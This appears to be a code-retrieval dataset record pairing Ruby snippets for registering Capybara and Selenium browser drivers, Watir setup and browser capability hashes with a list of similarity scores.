"def get_zalenium_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT # seconds – default is 30\n # Remove troublesome characters from scenario names - affects video naming\n scenario_name = scenario.name.clone.gsub(/[#,\\(\\)]/,'')\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client, :url => GRID_HUB, :name => scenario_name\n return browser\nend",
"def browser_data(browser)\n @data[\"agents\"][CAN_I_USE_NAMES[browser]]\n end",
"def get_capability_switch_capability_list(opts = {})\n data, _status_code, _headers = get_capability_switch_capability_list_with_http_info(opts)\n data\n end",
"def browser_supported_by_metamask?\n browser.chrome? || browser.firefox?\n end",
"def hasCapability?(cap)\n return !isRegularUser? && (capabilities.include?(cap) || capabilities.include?(\"admin\"))\n end",
"def initialize_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n case ENV['browser']\n when 'firefox'\n puts \"\\n>Initializing Firefox browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/geckodriver0.13'\n @browser = Selenium::WebDriver.for :firefox, http_client: client, driver_path: full_path\n when 'chrome'\n puts \"\\n>Initializing Chrome browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/chromedriver2.27'\n @browser = Selenium::WebDriver.for :chrome, http_client: client, driver_path: full_path\n when 'safari'\n puts \"\\n>Initializing Safari browser\"\n @browser = Selenium::WebDriver.for :safari, http_client: client\n else\n @browser = Selenium::WebDriver.for :firefox, http_client: client\n end\n\n @browser.manage.timeouts.page_load = 10\n return @browser\nend",
"def selenium_env?\n true\nend",
"def browsers_for names\n names.map do |name|\n begin\n Browser.subclasses.find do |browser|\n browser.matches_name? name\n end.new\n rescue\n raise \"Unsupported browser `#{name}'\"\n end\n end\n end",
"def setup\n if ENV['BROWSER'] == 'firefox'\n $driver = Selenium::WebDriver.for :firefox\n elsif ENV['BROWSER'] == 'chrome'\n $driver = Selenium::WebDriver.for :chrome\n else\n puts 'The only valid browser options are [firefox | chrome]'\n end\nend",
"def test_Browser_001_is_browser_installed()\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Browser_001_is_browser_installed\")\n puts2(\"#######################\")\n\n puts2(\"\\n\\nTest - is_chrome64_installed?()\")\n puts2(\"is_chrome64_installed? = \" + is_chrome64_installed?().to_s)\n\n puts2(\"\\n\\nTest - is_firefox64_installed?()\")\n puts2(\"is_firefox64_installed? = \" + is_firefox64_installed?().to_s)\n\n end",
"def platform(name)\n case ENV['PLATFORM']\n when 'windows_10_edge'\n {selenium_version: '3.141.59',\n platform_name: 'Windows 10',\n browser_name: 'edge',\n browser_version: '18.17763'}.merge(sauce_w3c(name))\n when 'windows_8_ie'\n # Note: w3c is not working for Windows 8 & IE 11\n {platform: 'Windows 8.1',\n browser_name: 'ie',\n selenium_version: '3.141.59',\n version: '11.0'}.merge(sauce_oss(name))\n when 'mac_sierra_chrome'\n # This is for running with w3c which is not yet the default\n # {platform_name: 'macOS 10.12',\n # browser_name: 'chrome',\n # \"goog:chromeOptions\": {w3c: true},\n # browser_version: '65.0'}.merge(sauce_w3c name)\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n when 'mac_mojave_safari'\n {platform_name: 'macOS 10.14',\n browser_name: 'safari',\n browser_version: '12.0'}.merge(sauce_w3c(name))\n when 'windows_7_ff'\n {platform_name: 'Windows 7',\n browser_name: 'firefox',\n browser_version: '60.0'}.merge(sauce_w3c(name))\n else\n # Always specify a default\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n end\n end",
"def browser_type\n\t if $TESTWISE_BROWSER then\n\t $TESTWISE_BROWSER.downcase.to_sym\n\t elsif ENV[\"BROWSER\"]\n\t ENV[\"BROWSER\"].downcase.to_sym\n\t else\n\t RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n\t end\n\tend",
"def require_capability(capabilities, options = {})\n options.assert_valid_keys(:if, :unless,\n :for, :only, \n :for_all_except, :except\n )\n \n # only declare that before filter once\n unless (@before_filter_declared||=false)\n @before_filter_declared=true\n before_filter :check_capabilities\n end\n \n # convert to an array if it isn't already\n capabilities = [ capabilities ] unless Array === capabilities\n capabilities.map! do | x |\n x = 'controller/:controller/:action' if x == nil || x == :ACTION \n x\n end\n \n options[:only] ||= options[:for] if options[:for]\n options[:except] ||= options[:for_all_except] if options[:for_all_except]\n \n # convert any actions into symbols\n for key in [:only, :except]\n if options.has_key?(key)\n options[key] = [options[key]] unless Array === options[key]\n options[key] = options[key].compact.collect{|v| v.to_sym}\n end \n end\n \n self.capability_requirements||=[]\n self.capability_requirements << {:capabilities => capabilities, :options => options }\n end",
"def setup\n capabilities = {\n platformName: 'Windows',\n platformVersion: '10',\n browserName: 'Chrome',\n browserVersion: '58',\n resolution: '1280x1024',\n securityToken: @@token\n }\n _url = 'http://' + @@Host + '/nexperience/perfectomobile/wd/hub/fast'\n\n @driver = Selenium::WebDriver.for(:remote, :url => _url, :desired_capabilities => capabilities)\n end",
"def ports_with_capabilities(*capabilities)\n ncapabilities = capabilities.size\n @ports.values.select { |port| (port.capabilities & capabilities).size == ncapabilities }\n end",
"def get_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.open_timeout = TIMEOUT # seconds – default is 30\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def client_capabilities=(_arg0); end",
"def register_capabilities methods\n @register_semaphore.synchronize do\n send_request 'client/registerCapability', {\n registrations: methods.select{|m| can_register?(m) and !registered?(m)}.map { |m|\n @registered_capabilities.add m\n {\n id: m,\n method: m,\n registerOptions: dynamic_capability_options[m]\n }\n }\n }\n end\n end",
"def get_local_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def initialize( config, logger )\n @config = config\n @logger = logger\n\n @logger.debug \"Requested browser config: #{@config.get :global, :browser }\"\n\n type=@config.get :global, :browser, :type\n browser=@config.get :global, :browser, :browser\n port=@config.get :global, :browser, :port\n url=@config.get_default false, :global, :browser, :url\n extra_capabilities=@config.get_default false, :global, :browser, :extras\n if ! extra_capabilities\n extra_capabilities = Hash.new\n end\n\n if browser =~ %r{^\\s*ie\\s*$} or browser =~ %r{^\\s*internet\\s*_?\\s*explorer\\s*$}\n browser = 'internet explorer'\n end\n\n @logger.debug \"Launching some browser; #{type}, #{port}, #{browser}\"\n\n if type == 'remote'\n @logger.info \"Launching remote browser #{browser} on port #{port}\"\n capabilities = Selenium::WebDriver::Remote::Capabilities.new(\n :browser_name => browser,\n :javascript_enabled=>true,\n :css_selectors_enabled=>true,\n :takes_screenshot=>true,\n )\n # Load in any other stuff the user asked for\n @logger.debug \"Requested extra capabilities: #{extra_capabilities.inspect}\"\n extra_capabilities.each do |key, value|\n @logger.debug \"Adding capability #{key} with value #{value}\"\n capabilities[key] = value\n end\n\n if url\n @logger.debug \"Launching with custom url #{url}\"\n else\n url = \"http://127.0.0.1:#{port}/wd/hub\"\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = config.get_default( 600, :global, :browser, :timeout )\n\n @browser = Watir::Browser.new(:remote, :url => url, :desired_capabilities => capabilities, :http_client => client)\n else\n @logger.info \"Launching local browser #{browser}\"\n @browser = Watir::Browser.new browser\n end\n end",
"def browser\n @web_browser\n end",
"def browser\r\n @web_browser\r\n end",
"def browser\n BrowserInst.browser\n end",
"def browser\n @browser\n end",
"def register_capabilities(methods); end",
"def init_browser\n Capybara.default_driver = ENV['CAPYBARA_BROWSER'].to_sym\n # script driver\n Capybara.javascript_driver = case ENV['CAPYBARA_BROWSER']\n when /poltergeist/\n :poltergeist\n when /headless_chrome/\n :headless_chrome\n when /headless_firefox/\n :headless_firefox\n end\nend",
"def dynamic_search\n # require 'selenium-webdriver'\n #\n # options = Selenium::WebDriver::Chrome::Options.new(args: ['headless'])\n # driver = Selenium::WebDriver.for(:chrome, options: options)\n # driver.get('http://stackoverflow.com/')\n # puts driver.title\n # driver.quit\n end",
"def browser\n BrowserInst.browser\n end",
"def browser_version\n ENV['BROWSER_VERSION']\n end",
"def regional_capabilities\n query('txt/wxfcs/regionalforecast/json/capabilities')\n end",
"def restrict_capabilities\n return unless current_admin&.capabilities&.reject(&:blank?)&.present?\n\n if capabilities&.reject(&:blank?)&.present?\n self.capabilities &= current_admin.capabilities\n else\n self.capabilities = current_admin.capabilities\n end\n end",
"def browser\n Browser.new(user_agent)\n end",
"def common_configuration_for_web(args)\n\n # Assign the privly-applications repository path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :web_browser do |app|\n Capybara::Selenium::Driver.new(app, :browser => @browser.to_sym)\n end\n Capybara.default_driver = :web_browser\n Capybara.current_driver = :web_browser\nend",
"def browser_user_agent(browser, agent, orientation)\nsetup_watir_webdriver\nbrowser =\"firefox\"\nagent = \"iphone\"\norientation=\"portrait\"\nrequire 'watir-webdriver'\nrequire 'webdriver-user-agent'\ndriver = Webdriver::UserAgent.driver(:browser => :\"#{browser}\", :agent => :\"#{agent}\", :orientation => :\"#{orientation}\")\nbrowser = Watir::Browser.new(driver)\nend",
"def capability_by_object_name(object_name)\n @capabilities[object_name]\n end",
"def print_congifugartion\n puts \"Configuration : \"+$driver.execute_script(\"return navigator.userAgent;\")\n puts \"Date and Time : #{Time.now}\"\nend",
"def start_browser(browser_type)\n caps = Selenium::WebDriver::Remote::Capabilities.firefox\n caps.version = \"5\"\n caps.platform = :LINUX\n caps[:name] = \"Testing Selenium 2 with Ruby on SauceLabs Environment\"\n\n @driver = Selenium::WebDriver.for(\n :remote,\n :url => \"http://valid_sauce_url_with_key@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\n end",
"def browser\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = BrowserFactory.build(session: session, url_options: url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"rv = #{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end"
] |
[
"0.7280506",
"0.70243466",
"0.6899227",
"0.680194",
"0.6686297",
"0.66435844",
"0.65800536",
"0.6466498",
"0.6454511",
"0.6454511",
"0.64074486",
"0.63275",
"0.6298335",
"0.6298335",
"0.6298335",
"0.6250818",
"0.624858",
"0.62260336",
"0.61855286",
"0.6182668",
"0.6165267",
"0.6144266",
"0.60520434",
"0.601612",
"0.5994328",
"0.56859386",
"0.5643972",
"0.56419176",
"0.56303823",
"0.56123203",
"0.5600332",
"0.5583815",
"0.55631024",
"0.5524674",
"0.54968786",
"0.5485856",
"0.54672664",
"0.5461923",
"0.5460966",
"0.54231185",
"0.5340018",
"0.5336062",
"0.5317643",
"0.53069705",
"0.5297838",
"0.5287101",
"0.5287101",
"0.5272777",
"0.52664375",
"0.52621645",
"0.5255771",
"0.5246213",
"0.52422",
"0.5227414",
"0.52216166",
"0.5213822",
"0.51584774",
"0.5137543",
"0.51282924",
"0.51193094",
"0.51192355",
"0.5114517",
"0.5106097",
"0.5096849",
"0.5092681",
"0.5084024",
"0.50712025",
"0.50677675",
"0.506712",
"0.5062036",
"0.5056698",
"0.5055413",
"0.5054087",
"0.5052993",
"0.50475943",
"0.5039097",
"0.5025146",
"0.50241137",
"0.500897",
"0.5008911",
"0.500815",
"0.50060785",
"0.49916434",
"0.49823084",
"0.4978791",
"0.49677107",
"0.4953912",
"0.49430272",
"0.4934946",
"0.49197742",
"0.48901433",
"0.48868033",
"0.4875698",
"0.48550838",
"0.4840759",
"0.48376647",
"0.48371536",
"0.48288295",
"0.4820131",
"0.4804226"
] |
0.81232023
|
0
|
Registers :chrome webdriver options in Capybara framework
|
def register_chrome_driver
Capybara.register_driver :chrome do |app|
if ENV['SELENIUM_GRID'] == 'false'
Capybara::Selenium::Driver.new(app,
browser: :chrome,
desired_capabilities: chrome_capabilities)
else
Capybara::Selenium::Driver.new(app, browser: :remote,
url: hub_url,
desired_capabilities: chrome_capabilities)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def scrapping_options\n opts = {\n headless: true\n }\n\n if Rails.env.production?\n if (chrome_bin = ENV.fetch('GOOGLE_CHROME_SHIM', nil))\n opts[:options] = { binary: chrome_bin }\n end\n else\n chrome_bin = '/usr/bin/google-chrome'\n opts[:options] = { binary: chrome_bin }\n end\n opts\nend",
"def chrome\n no_proxy = config.proxy.no_proxy.tr(\",\", \";\")\n\n args = config.headless ? [\"--headless=new\"] : []\n\n options = Selenium::WebDriver::Options.chrome(args: args)\n\n options.add_argument(\"--proxy-server=#{config.proxy.host}:#{config.proxy.port}\") if config.proxy.use_proxy?\n options.add_argument(\"--proxy-bypass-list=#{no_proxy}\") unless config.proxy.no_proxy.empty?\n\n options.add_argument(\"--user-agent=#{config.user_agent}\") unless config.user_agent.empty?\n\n options\n end",
"def chrome_browser(*opts)\n options = Selenium::WebDriver::Chrome::Options.new\n opts.each { |n| options.add_argument(n) }\n driver = Selenium::WebDriver.for :chrome, detach: false, options: options\n Watir::Browser.new(driver)\n end",
"def initialize(browser = :chrome)\n @driver = Selenium::WebDriver.for browser\n end",
"def chrome_capabilities\n Selenium::WebDriver::Remote::Capabilities.chrome(\n logging_prefs: {browser: 'ALL'},\n 'chromeOptions' => {\n 'args' => %w[--ignore-certificate-errors],\n 'w3c' => false\n },\n 'acceptSslCerts' => true,\n 'acceptInsecureCerts' => true\n )\n end",
"def init_browser\n Capybara.default_driver = ENV['CAPYBARA_BROWSER'].to_sym\n # script driver\n Capybara.javascript_driver = case ENV['CAPYBARA_BROWSER']\n when /poltergeist/\n :poltergeist\n when /headless_chrome/\n :headless_chrome\n when /headless_firefox/\n :headless_firefox\n end\nend",
"def common_configuration_for_web(args)\n\n # Assign the privly-applications repository path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :web_browser do |app|\n Capybara::Selenium::Driver.new(app, :browser => @browser.to_sym)\n end\n Capybara.default_driver = :web_browser\n Capybara.current_driver = :web_browser\nend",
"def setup\n if ENV['BROWSER'] == 'firefox'\n $driver = Selenium::WebDriver.for :firefox\n elsif ENV['BROWSER'] == 'chrome'\n $driver = Selenium::WebDriver.for :chrome\n else\n puts 'The only valid browser options are [firefox | chrome]'\n end\nend",
"def init_with_options browser, opts\n browser.init\n end",
"def common_configuration_for_sauce_web(args)\n\n # Assign the applications path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :sauce_web do |app|\n Capybara::Selenium::Driver.new(\n app,\n :browser => :remote,\n :url => @sauce_url,\n :desired_capabilities => @sauce_caps\n )\n end\n Capybara.default_driver = :sauce_web\n Capybara.current_driver = :sauce_web\nend",
"def get_driver\n case meta.engine\n when \"chrome\"\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('--disable-gpu')\n options.add_argument('--headless')\n options.add_argument('--device-scale-factor=1') # have to change cropping for 2x. also this is faster\n options.add_argument('--force-device-scale-factor')\n options.add_argument(\"--window-size=1200,1500\") # resize later so we can reuse drivers\n options.add_argument(\"--hide-scrollbars\") # hide scrollbars from screenshots\n Selenium::WebDriver.for :chrome, options: options\n end\n end",
"def initialize(options = {})\n self.browser = options.fetch(:browser, :chrome)\n self.install_dir = options.fetch(:install_dir, './webdrivers/')\n self.locale = options.fetch(:locale, :en)\n self.headless = options.fetch(:headless, false)\n self.window_size = options.fetch(:window_size, '1280,720')\n self.screen_dir = options.fetch(:screen_dir, './screens/')\n self.log_prefix = options.fetch(:log_prefix, ' - ')\n self.verbose = options.fetch(:verbose, false)\n self.silent = options.fetch(:silent, false)\n self.auth_username = options.fetch(:auth_username, '')\n self.auth_password = options.fetch(:auth_password, '')\n self.main_label = caller_locations(2, 1).first.label\n\n initialize_driver\n\n self.timeout = options.fetch(:timeout, 30)\n end",
"def initialize_capybara(debug = false, driver = :webkit)\n Capybara::Webkit.configure do |config|\n config.debug = debug\n config.allow_unknown_urls\n config.ignore_ssl_errors\n #adds proxy\n=begin\n config.use_proxy(\n host: '180.250.32.66',\n port: 80,\n user: nil,\n pass: nil\n )\n=end\n # TODO test this solution\n # config.skip_image_loading\n end\n\n Capybara.default_max_wait_time = 15 # 15..30s\n Capybara.default_driver = driver\n\n # for local test\n # Capybara.default_driver = :selenium\n @browser = Capybara.current_session\n end",
"def initialize(browser = :chrome, *args)\n @capabilities = browser.is_a?(Capabilities) ? browser : Capabilities.new(browser, *args)\n @driver = browser.is_a?(Selenium::WebDriver::Driver) ? browser : Selenium::WebDriver.for(*@capabilities.to_args)\n\n @after_hooks = AfterHooks.new(self)\n @closed = false\n @default_context = true\n end",
"def open_browser_chrome\n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :chrome\n\tend",
"def set_browser(app = :chrome, *args)\n @browser = Watir::Browser.new(app, *args)\n Testable.browser = @browser\n end",
"def init_browser(application_source)\n Selenium::WebDriver::Chrome.driver_path = application_source.driverPath\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('--headless')\n options.add_argument('--disable-gpu')\n # TODO Use factory method\n @driver = Selenium::WebDriver.for :chrome, options: options\n # TODO Move to strategy classes\n @driver.manage.timeouts.implicit_wait = application_source.implicitWaitTimeOut\n #@driver.manage.window.maximize\n end",
"def setup_grid(driver)\n if driver == 'chrome'\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n @browser = Watir::Browser.new(\n :remote,\n url: gridUrl,\n desired_capabilities: capabilities\n )\n end\nend",
"def initialize( config, logger )\n @config = config\n @logger = logger\n\n @logger.debug \"Requested browser config: #{@config.get :global, :browser }\"\n\n type=@config.get :global, :browser, :type\n browser=@config.get :global, :browser, :browser\n port=@config.get :global, :browser, :port\n url=@config.get_default false, :global, :browser, :url\n extra_capabilities=@config.get_default false, :global, :browser, :extras\n if ! extra_capabilities\n extra_capabilities = Hash.new\n end\n\n if browser =~ %r{^\\s*ie\\s*$} or browser =~ %r{^\\s*internet\\s*_?\\s*explorer\\s*$}\n browser = 'internet explorer'\n end\n\n @logger.debug \"Launching some browser; #{type}, #{port}, #{browser}\"\n\n if type == 'remote'\n @logger.info \"Launching remote browser #{browser} on port #{port}\"\n capabilities = Selenium::WebDriver::Remote::Capabilities.new(\n :browser_name => browser,\n :javascript_enabled=>true,\n :css_selectors_enabled=>true,\n :takes_screenshot=>true,\n )\n # Load in any other stuff the user asked for\n @logger.debug \"Requested extra capabilities: #{extra_capabilities.inspect}\"\n extra_capabilities.each do |key, value|\n @logger.debug \"Adding capability #{key} with value #{value}\"\n capabilities[key] = value\n end\n\n if url\n @logger.debug \"Launching with custom url #{url}\"\n else\n url = \"http://127.0.0.1:#{port}/wd/hub\"\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = config.get_default( 600, :global, :browser, :timeout )\n\n @browser = Watir::Browser.new(:remote, :url => url, :desired_capabilities => capabilities, :http_client => client)\n else\n @logger.info \"Launching local browser #{browser}\"\n @browser = Watir::Browser.new browser\n end\n end",
"def configure_browser()\r\n if test_config.browser == \"ie\"\r\n Capybara.register_driver :selenium do |app|\r\n Capybara::Selenium::Driver.new(app, :browser=>:internet_explorer)\r\n end\r\n else\r\n Capybara.register_driver :selenium do |app|\r\n if !(test_config.browserPath.nil? || test_config.browserPath.empty?)\r\n require 'selenium/webdriver'\r\n Selenium::WebDriver::Firefox::Binary.path = test_config.browserPath\r\n end\r\n Capybara::Selenium::Driver.new(app, :browser => :firefox)\r\n end\r\n end\r\n end",
"def setup\n # caps = Selenium::WebDriver::Remote::Capabilities.new\n # caps[:browserName] = :chrome\n #@driver = Selenium::WebDriver.for (\n # :remote,\n # :url=> 'http://localhost:4444/wd/hub',\n # :desired_capabilities=> caps )\n #ENV['base_url'] = 'http://codap.concord.org/~eireland/CodapClasses'\n @@driver = Selenium::WebDriver.for :chrome\n # ENV['base_url'] = 'http://localhost:4020/dg'\n ENV['base_url'] = 'http://codap.concord.org/releases/latest/'\n # setupHelper(@driver.session_id)\nrescue Exception => e\n puts e.message\n puts \"Could not start driver #{@@driver}\"\n exit 1\nend",
"def firefox_options\n options = Selenium::WebDriver::Firefox::Options.new\n options.add_preference('intl.accept_languages', locale)\n options.add_argument('--headless') if headless\n options\n end",
"def setup\n # Capybara.current_driver = Capybara.javascript_driver # :selenium by default\n # Capybara.current_driver = :webkit\n Capybara.current_driver = :poltergeist\n end",
"def setup_local(driver)\n if driver == 'chrome'\n @browser = Watir::Browser.new :chrome\n elsif driver == 'firefox'\n @browser = Watir::Browser.new :firefox, marionette: true\n end\nend",
"def browser\n (ENV['BROWSER'] ||= 'chrome').to_sym\nend",
"def navigateTo(browser_instance,url)\n Capybara.default_driver = :selenium\n\n \n Capybara.register_driver :selenium do |app|\n Capybara::Selenium::Driver.new(app, :browser => :chrome)\n end\n# $worldMap = Hash.new\n $session = Capybara::Session.new(:selenium)\n $session.visit 'https://staging-bbva.everfiapps-dev.net/cportal/ccdee586/login'\n end",
"def setup\n capabilities = {\n platformName: 'Windows',\n platformVersion: '10',\n browserName: 'Chrome',\n browserVersion: '58',\n resolution: '1280x1024',\n securityToken: @@token\n }\n _url = 'http://' + @@Host + '/nexperience/perfectomobile/wd/hub/fast'\n\n @driver = Selenium::WebDriver.for(:remote, :url => _url, :desired_capabilities => capabilities)\n end",
"def setup_desktop_grid(capability)\n\tCapybara.register_driver :selenium do |app|\n\t\tCapybara::Selenium::Driver.new(app,\n\t\t\t:browser => :remote,\n\t\t\t:url => SELENIUM_GRID,\n\t\t\t:desired_capabilities => capability)\n\tend\n\t\tCapybara.default_driver = :selenium\nend",
"def setupCapybara\n\t\tCapybara.default_driver = :selenium\n\t\tCapybara.run_server = false\n\t\tCapybara.app_host = \"http://localhost:3000\"\n\tend",
"def default_capabilities\n {\n :browserName => \"Chrome\",\n :version => nil,\n :platform => \"Linux\"\n }\n end",
"def start_driver\n file_path = 'C://Selenium/chromedriver'\n folder = 'chromedriver'\n web_driver = 'chromedriver.exe'\n file = File.absolute_path('', File.dirname(file_path)), folder, web_driver\n chrome_driver_path = File.join(file)\n Selenium::WebDriver::Chrome.driver_path = chrome_driver_path\n Selenium::WebDriver.for :chrome\n end",
"def chrome_common(options)\n options.add_argument('window-size=1600,900')\n options.add_preference(:download, directory_upgrade: true,\n prompt_for_download: false,\n default_directory: ENV.fetch('TEST_FILE_DOWNLOAD_PATH', nil))\n options.add_preference(:browser, set_download_behavior: { behavior: 'allow' })\nend",
"def initialize_driver\n if ENV['browser'] == \"\"\n browser_sym = @config.browser.downcase.to_sym\n else\n browser_sym = ENV['browser'].downcase.to_sym\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = 40 # seconds\n exec_mode = @config.execution_mode.to_s.downcase\n if exec_mode == \"local\"\n Selenium::WebDriver::Chrome.driver_path=\"#{File.dirname(__FILE__)}/drivers/chromedriver.exe\"\n $driver = Selenium::WebDriver.for(browser_sym, :http_client => client)\n elsif exec_mode == \"remote\"\n initializing_remote_web_driver browser_sym, client\n end\n end",
"def setup_capybara\n Capybara.run_server = false\n Capybara.current_driver = :webkit\n Capybara.app_host = 'http://todofp.es'\n end",
"def browser_caps(browser,browser_options)\n target = (browser.to_sym if ENV['BROWSER'].nil? or ENV['browser'].empty?) || (ENV['BROWSER'].to_sym)\n browser,version,platform,device = extract_values_from(target)\n options = {}\n options.merge! browser_options\n caps = capabilities(browser,version,platform,device)\n options[:url] = url if url\n if options.include? :url\n browser = :remote\n options[:desired_capabilities] = caps\n end\n options[:http_client] = http_client if persistent_http or options.delete(:persistent_http)\n return browser,options\n end",
"def initialize_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n case ENV['browser']\n when 'firefox'\n puts \"\\n>Initializing Firefox browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/geckodriver0.13'\n @browser = Selenium::WebDriver.for :firefox, http_client: client, driver_path: full_path\n when 'chrome'\n puts \"\\n>Initializing Chrome browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/chromedriver2.27'\n @browser = Selenium::WebDriver.for :chrome, http_client: client, driver_path: full_path\n when 'safari'\n puts \"\\n>Initializing Safari browser\"\n @browser = Selenium::WebDriver.for :safari, http_client: client\n else\n @browser = Selenium::WebDriver.for :firefox, http_client: client\n end\n\n @browser.manage.timeouts.page_load = 10\n return @browser\nend",
"def assign_chrome_extension_path\n\n # The chrome URL can change periodically so this grabs the\n # URL from the first run page. It also fixes the path in the\n # CRUD tests since this test doesn't run until all the\n # initialization is complete\n include Capybara::DSL # Provides for Webdriving\n\n # Give the first-run page 15 seconds to appear\n for i in 0..15\n newest_window = page.driver.browser.window_handles.last\n page.driver.switch_to_window newest_window\n address = page.driver.browser.current_url\n if address.include? \"chrome-extension://\"\n break\n end\n if i == 15\n puts \"failed to recover Chrome extension URL for testing\"\n exit 1\n end\n sleep 1\n end\n app_host = \"chrome-extension://\" + address.split(\"/\")[2]\n Capybara.app_host = app_host\n $privly_applications_folder_path = Capybara.app_host + \"/privly-applications/\"\n Capybara.reset_sessions!\n Capybara.use_default_driver\nend",
"def new_browser\n if ENV[\"LOCAL_OR_HEROKU\"] then\n Watir::Browser.new :firefox\n else\n options = Selenium::WebDriver::Chrome::Options.new\n # make a directory for chrome if it doesn't already exist\n chrome_dir = File.join Dir.pwd, %w(tmp chrome)\n FileUtils.mkdir_p chrome_dir\n user_data_dir = \"--user-data-dir=#{chrome_dir}\"\n # add the option for user-data-dir\n options.add_argument user_data_dir\n\n # let Selenium know where to look for chrome if we have a hint from\n # heroku. chromedriver-helper & chrome seem to work out of the box on osx,\n # but not on heroku.\n if chrome_bin = ENV[\"GOOGLE_CHROME_BIN\"]\n options.add_argument \"no-sandbox\"\n options.binary = chrome_bin\n # give a hint to here too\n Selenium::WebDriver::Chrome.driver_path = \\\n \"/app/vendor/bundle/bin/chromedriver\"\n end\n\n # headless!\n # keyboard entry wont work until chromedriver 2.31 is released\n options.add_argument \"window-size=1200x600\"\n options.add_argument \"headless\"\n options.add_argument \"disable-gpu\"\n\n # make the browser\n Watir::Browser.new :chrome, options: options\n end\n end",
"def setup\n caps = Selenium::WebDriver::Remote::Capabilities.new\n\tcaps['browser'] = 'Firefox'\n @driver = Selenium::WebDriver.for :remote, url: \"http://localhost:8001\", :desired_capabilities => caps\n# @driver = Selenium::WebDriver.for :firefox\n\t@driver.manage.timeouts.implicit_wait = 10\nend",
"def browser\n @options[:browser] ||= self.class.create_browser\n end",
"def initialize()\n @sel = Capybara::Session.new(:selenium)\n end",
"def initialize(opts = {})\n opts[:timeout] = 120 unless opts[:timeout]\n @wait = Selenium::WebDriver::Wait.new(:timeout=>opts[:timeout])\n TelluriumDriver.wait_for_document_ready=true;\n\n opts[:caps] ||= {}\n opts[:caps][:browserName] ||= opts[:browser]\n opts[:caps][:version] ||= opts[:version]\n\n is_local = !opts[:hub_ip] and !opts[:hub_url]\n \n if is_local\n @driver = Selenium::WebDriver.for(opts[:browser].to_sym,:desired_capabilities=>opts[:caps])\n else\n @driver = Selenium::WebDriver.for(:remote,:desired_capabilities=>opts[:caps],:url=> \"http://#{opts[:hub_ip]}:4444/wd/hub\")\n end\n end",
"def describe_with_capybara(*args, &block)\n describe *args do\n include RSpec::Rails::IntegrationExampleGroup\n module_eval &block\n end\n end",
"def open_browser(base_url, options = {})\n default_options = {:resynchronize => false, :firefox => false } \n options = default_options.merge(options)\n options[:firefox] ||= (ENV['LOADWISE_PREVIEW'] || $LOADWISE_PREVIEW)\n RWebSpec::WebBrowser.new(base_url, nil, options)\n end",
"def selenium_env?\n true\nend",
"def dynamic_search\n # require 'selenium-webdriver'\n #\n # options = Selenium::WebDriver::Chrome::Options.new(args: ['headless'])\n # driver = Selenium::WebDriver.for(:chrome, options: options)\n # driver.get('http://stackoverflow.com/')\n # puts driver.title\n # driver.quit\n end",
"def register_firefox_driver\n Capybara.register_driver :firefox do |app|\n if ENV['SELENIUM_GRID'] == 'false'\n options = Selenium::WebDriver::Firefox::Options.new\n Capybara::Selenium::Driver.new(app, browser: :firefox,\n options: options,\n desired_capabilities: firefox_capabilities)\n else\n Capybara::Selenium::Driver.new(app, browser: :remote,\n url: hub_url,\n desired_capabilities: firefox_capabilities)\n end\n end\n end",
"def configure_poltergeist\n # DEFAULT: headless tests with poltergeist/PhantomJS\n Capybara.register_driver :poltergeist do |app|\n Capybara::Poltergeist::Driver.new(\n app,\n phantomjs: ENV['PHANTOMJS'],\n phantomjs_options: ['--load-images=no', '--ignore-ssl-errors=yes'],\n window_size: [1280, 1024],\n timeout: (ENV['TIMEOUT'] || 30).to_i,\n js_errors: false,\n phantomjs_logger: StringIO.new,\n url_blacklist: ENV['BLACKLIST_URLS']\n )\n end\nend",
"def register_selenium_remote_driver(browser)\n Capybara.register_driver \"selenium_remote_#{browser}\".to_sym do |app|\n Capybara::Selenium::Driver.new(app, browser: :remote, url: \"http://#{ENV['SELENIUM_SERVER']}:4444/wd/hub\", desired_capabilities: browser)\n end\n end",
"def initialize\n @browsers = []\n @selenium_port = 4444\n @selenium_timeout = 4000\n @url = \"http://www.google.com\"\n @hooks = {:before => {}, :after =>{}}\n end",
"def setup\n setup_with_selenium\n\tend",
